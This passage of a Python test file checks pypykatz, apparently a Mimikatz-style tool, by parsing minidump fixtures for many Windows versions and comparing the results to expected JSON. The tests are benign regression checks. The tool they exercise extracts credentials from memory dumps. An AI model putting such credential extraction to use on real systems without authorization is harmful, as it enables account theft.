assert compare_jsons(res.to_json(), expected) def test_x64_win2008R2_7601(): basedir = os.path.join(TESTFILES_DIR, 'x64', 'win2008R2') with open(os.path.join(basedir, '7601.json'), 'r') as f: expected = f.read() res = pypykatz.parse_minidump_file(os.path.join(basedir, '7601.dmp')) assert compare_jsons(res.to_json(), expected) def test_x64_win2012_9600(): basedir = os.path.join(TESTFILES_DIR, 'x64', 'win2012') with open(os.path.join(basedir, '9600.json'), 'r') as f: expected = f.read() res = pypykatz.parse_minidump_file(os.path.join(basedir, '9600.dmp')) assert compare_jsons(res.to_json(), expected) def test_x64_win2016_14393(): basedir = os.path.join(TESTFILES_DIR, 'x64', 'win2016') with open(os.path.join(basedir, '14393.json'), 'r') as f: expected = f.read() res = pypykatz.parse_minidump_file(os.path.join(basedir, '14393.dmp')) assert compare_jsons(res.to_json(), expected) def test_x64_win2016_14393_1(): basedir = os.path.join(TESTFILES_DIR, 'x64', 'win2016') with open(os.path.join(basedir, '14393_1.json'), 'r') as f: expected = f.read() res = pypykatz.parse_minidump_file(os.path.join(basedir, '14393_1.dmp')) assert compare_jsons(res.to_json(), expected) def test_x64_win2016_14393_2(): basedir = os.path.join(TESTFILES_DIR, 'x64', 'win2016') with open(os.path.join(basedir, '14393_2.json'), 'r') as f: expected = f.read() res = pypykatz.parse_minidump_file(os.path.join(basedir, '14393_2.dmp')) assert compare_jsons(res.to_json(), expected) def test_x64_win2016_14393_3(): basedir = os.path.join(TESTFILES_DIR, 'x64', 'win2016') with open(os.path.join(basedir, '14393_3.json'), 'r') as f: expected = f.read() res = pypykatz.parse_minidump_file(os.path.join(basedir, '14393_3.dmp')) assert compare_jsons(res.to_json(), expected) def test_x64_win2019_17763(): basedir = os.path.join(TESTFILES_DIR, 'x64', 'win2019') with open(os.path.join(basedir, '17763.json'), 'r') as f: expected = f.read() res = pypykatz.parse_minidump_file(os.path.join(basedir, '17763.dmp')) assert compare_jsons(res.to_json(), expected) def test_x64_win2019_17763_1(): basedir = os.path.join(TESTFILES_DIR, 'x64', 'win2019') with open(os.path.join(basedir, '17763_1.json'), 'r') as f: expected = f.read() res = pypykatz.parse_minidump_file(os.path.join(basedir, '17763_1.dmp')) assert compare_jsons(res.to_json(), expected) def test_x64_win2022_20348(): basedir = os.path.join(TESTFILES_DIR, 'x64', 'win2022') with open(os.path.join(basedir, '20348.json'), 'r') as f: expected = f.read() res = pypykatz.parse_minidump_file(os.path.join(basedir, '20348.dmp')) assert compare_jsons(res.to_json(), expected) def test_x64_win2022_20348_1(): basedir = os.path.join(TESTFILES_DIR, 'x64', 'win2022') with open(os.path.join(basedir, '20348_1.json'), 'r') as f: expected = f.read() res = pypykatz.parse_minidump_file(os.path.join(basedir, '20348_1.dmp')) assert compare_jsons(res.to_json(), expected) def test_x64_xp_3790(): basedir = os.path.join(TESTFILES_DIR, 'x64', 'xp') with open(os.path.join(basedir, '3790.json'), 'r') as f: expected = f.read() res = pypykatz.parse_minidump_file(os.path.join(basedir, '3790.dmp')) assert compare_jsons(res.to_json(), expected) def test_x86_vista_6002(): basedir = os.path.join(TESTFILES_DIR, 'x86', 'vista') with open(os.path.join(basedir, '6002.json'), 'r') as f: expected = f.read() res = pypykatz.parse_minidump_file(os.path.join(basedir, '6002.dmp')) assert compare_jsons(res.to_json(), expected) def test_x86_win7_7601(): basedir = os.path.join(TESTFILES_DIR, 'x86', 'win7') with open(os.path.join(basedir, '7601.json'), 'r') as f: expected = f.read() res = pypykatz.parse_minidump_file(os.path.join(basedir, '7601.dmp')) assert compare_jsons(res.to_json(), expected) def test_x86_win7_7601_1(): basedir = os.path.join(TESTFILES_DIR, 'x86', 'win7') with open(os.path.join(basedir, '7601_1.json'), 'r') as f: expected = f.read() res = pypykatz.parse_minidump_file(os.path.join(basedir, '7601_1.dmp')) assert compare_jsons(res.to_json(), expected) def test_x86_win10_19043(): basedir = os.path.join(TESTFILES_DIR, 'x86', 'win10') with open(os.path.join(basedir, '19043.json'), 'r') as f: expected = f.read() res = pypykatz.parse_minidump_file(os.path.join(basedir, '19043.dmp')) assert compare_jsons(res.to_json(), expected) def test_x86_win10_14393(): basedir = os.path.join(TESTFILES_DIR, 'x86', 'win10') with open(os.path.join(basedir, '14393.json'), 'r') as f: expected = f.read() res = pypykatz.parse_minidump_file(os.path.join(basedir, '14393.dmp')) assert compare_jsons(res.to_json(), expected) def test_x86_win10_14393_1(): basedir = os.path.join(TESTFILES_DIR, 'x86', 'win10') with open(os.path.join(basedir, '14393_1.json'), 'r') as f: expected = f.read() res = pypykatz.parse_minidump_file(os.path.join(basedir, '14393_1.dmp')) assert compare_jsons(res.to_json(), expected) if __name__ == '__main__': test_x64_win7_7601_1()